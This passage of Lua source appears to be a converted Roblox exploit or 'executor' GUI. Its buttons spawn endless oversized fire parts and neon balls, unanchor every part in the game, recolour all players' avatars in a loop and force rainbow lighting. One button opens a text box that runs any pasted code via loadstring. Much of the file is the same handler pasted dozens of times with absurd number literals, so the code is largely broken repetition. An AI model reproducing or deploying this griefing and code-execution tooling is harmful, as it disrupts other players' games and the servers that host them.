part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
end;
task.spawn(C_17);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_19()
local script = G2L["19"];
script.Parent.MouseButton1Down:Connect(function()
for i,v in pairs(game.Workspace:GetDescendants()) do
if v:IsA("BasePart") then
v.Anchored = false
end
end
for i,v in pairs(game.ReplicatedStorage:GetDescendants()) do
if v:IsA("BasePart") then
v.Anchored = false
end
end
for i,v in pairs(game.ReplicatedFirst:GetDescendants()) do
if v:IsA("BasePart") then
v.Anchored = false
end
end
end)
end;
task.spawn(C_19);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_1b()
local script = G2L["1b"];
script.Parent.MouseButton1Click:Connect(function()
while true do
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
wait()
doom=Instance.new("Part")
local imnotfat = math.random(1, 3)
if imnotfat == 1 then
doom.Shape = "Ball"
else if imnotfat == 2 then
doom.Shape = "Cylinder"
else
end end
doom.Material = "Neon"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
yooka=math.random(-200, -50)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, yooka, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, 800, communism)
doom.Parent = game.Workspace
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
end
end)
end;
task.spawn(C_1b);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_20()
local script = G2L["20"];
function click()
for _,player in pairs(game.Players:GetPlayers()) do
spawn(function()
while wait(0.7) do
player.Character:FindFirstChildOfClass("BodyColors").HeadColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").TorsoColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").LeftLegColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").RightLegColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").LeftArmColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").RightArmColor = BrickColor.random()
end
end)
end
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_20);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_22()
local script = G2L["22"];
script.Parent.MouseButton1Click:Connect(function()
local Lighting = game:GetService("Lighting")
local ColorCorrection = Instance.new("ColorCorrectionEffect", Lighting)
function zigzag(X)
return math.acos(math.cos(X*math.pi))/math.pi
end
Counter = 0
Lighting.TimeOfDay = "15:00"
while wait(0.01) do
ColorCorrection.TintColor = Color3.fromHSV(zigzag(Counter),1,1)
Lighting.Ambient = Color3.fromHSV(zigzag(Counter),1,1)
Counter += 0.01
end
end)
end;
task.spawn(C_22);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_24()
local script = G2L["24"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
-- GUI principal
local gui = Instance.new("ScreenGui")
gui.Name = "CustomExecutor"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")
-- Ventana principal (más pequeña y semi-transparente)
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 400, 0, 240)
mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0)
mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
mainFrame.BackgroundTransparency = 0.3
mainFrame.BorderSizePixel = 0
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = gui
-- Título
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 35)
title.BackgroundTransparency = 1
title.BorderSizePixel = 0
title.Text = "synapse x de buget"
title.TextColor3 = Color3.new(1, 1, 1)
title.TextScaled = true
title.Font = Enum.Font.SourceSansBold
title.Parent = mainFrame
-- Cuadro de texto (fondo negro, más pequeño)
local input = Instance.new("TextBox")
input.Size = UDim2.new(0.9, 0, 0.55, 0)
input.Position = UDim2.new(0.05, 0, 0.18, 0)
input.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
input.BackgroundTransparency = 0
input.BorderSizePixel = 0
input.TextColor3 = Color3.new(1, 1, 1)
input.Text = ""
input.Font = Enum.Font.Code
input.TextWrapped = true
input.TextXAlignment = Enum.TextXAlignment.Left
input.TextYAlignment = Enum.TextYAlignment.Top
input.TextSize = 16
input.ClearTextOnFocus = false
input.MultiLine = true
input.Parent = mainFrame
-- Crear botón
local function createButton(text, position)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, 90, 0, 30)
btn.Position = position
btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
btn.BackgroundTransparency = 0
btn.BorderSizePixel = 0
btn.Text = text
btn.TextColor3 = Color3.new(1, 1, 1)
btn.TextScaled = true
btn.Font = Enum.Font.SourceSansBold
btn.Parent = mainFrame
return btn
end
-- Botones
local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0))
local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0))
local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0))
-- Funciones
executeBtn.MouseButton1Click:Connect(function()
local code = input.Text
if code and code ~= "" then
pcall(function()
loadstring(code)()
end)
end
end)
r6Btn.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")
local AvatarEditor = game:GetService("AvatarEditorService")
local TweenService = game:GetService("TweenService")
local UIS = game:GetService("UserInputService")
if _G.AvatarRigPromptUI then return end
_G.AvatarRigPromptUI = true
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
local RigUI = Instance.new("ScreenGui")
RigUI.Name = "AvatarRigPromptUI"
RigUI.ResetOnSpawn = false
RigUI.Parent = playerGui
local MainFrame = Instance.new("Frame")
MainFrame.Size = UDim2.new(0, 200, 0, 100)
MainFrame.Position = UDim2.new(0.5, -100, 0, 20)
MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35)
MainFrame.Parent = RigUI
local UIStroke = Instance.new("UIStroke")
UIStroke.Thickness = 2
UIStroke.Color = Color3.fromRGB(100, 200, 255)
UIStroke.Parent = MainFrame
local dragActive, dragStart, frameStart
MainFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = true
dragStart = input.Position
frameStart = MainFrame.Position
end
end)
UIS.InputChanged:Connect(function(input)
if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then
local delta = input.Position - dragStart
MainFrame.Position = UDim2.new(
frameStart.X.Scale,
frameStart.X.Offset + delta.X,
frameStart.Y.Scale,
frameStart.Y.Offset + delta.Y
)
end
end)
UIS.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = false
end
end)
local function ExecuteRigChange()
local char = player.Character
if not char then return end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
local desc = humanoid.HumanoidDescription:Clone()
AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6)
local result = AvatarEditor.PromptSaveAvatarCompleted:Wait()
if result == Enum.AvatarPromptResult.Success then
humanoid.Health = 0
humanoid:ChangeState(Enum.HumanoidStateType.Dead)
player.CharacterAdded:Wait()
task.wait(1)
local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid")
if newHumanoid then
newHumanoid:ApplyDescription(desc)
newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6)
end
end
end
local R6Button = Instance.new("TextButton")
R6Button.Text = "R6 MODE"
R6Button.Size = UDim2.new(0.9, 0, 0.6, 0)
R6Button.Position = UDim2.new(0.05, 0, 0.2, 0)
R6Button.Font = Enum.Font.GothamBold
R6Button.TextColor3 = Color3.new(1,1,1)
R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200)
R6Button.Parent = MainFrame
R6Button.MouseButton1Click:Connect(function()
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play()
ExecuteRigChange()
task.wait(0.2)
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play()
end)
local CloseButton = Instance.new("TextButton")
CloseButton.Text = "X"
CloseButton.Size = UDim2.new(0, 24, 0, 24)
CloseButton.Position = UDim2.new(1, -26, 0, 2)
CloseButton.Font = Enum.Font.GothamBold
CloseButton.TextColor3 = Color3.new(1, 1, 1)
CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60)
CloseButton.BorderSizePixel = 0
CloseButton.Parent = MainFrame
CloseButton.MouseButton1Click:Connect(function()
RigUI:Destroy()
_G.AvatarRigPromptUI = nil
end)
end)
closeBtn.MouseButton1Click:Connect(function()
gui:Destroy()
end)
end)
end;
task.spawn(C_24);
return G2L["1"], require;
end,
})
end)
end;
task.spawn(C_e);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
local function C_10()
local script = G2L["10"];
script.Parent.MouseButton1Click:Connect(function()
--[=[
d888b db db d888888b .d888b. db db db .d8b.
88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b
88 88 88 88 odD' 88 88 88 88ooo88
88 ooo 88 88 88 .88' 88 88 88 88~~~88
88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev
Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER
]=]
-- Instances: 75 | Scripts: 21 | Modules: 0 | Tags: 0
local G2L = {};
-- StarterGui.ssst
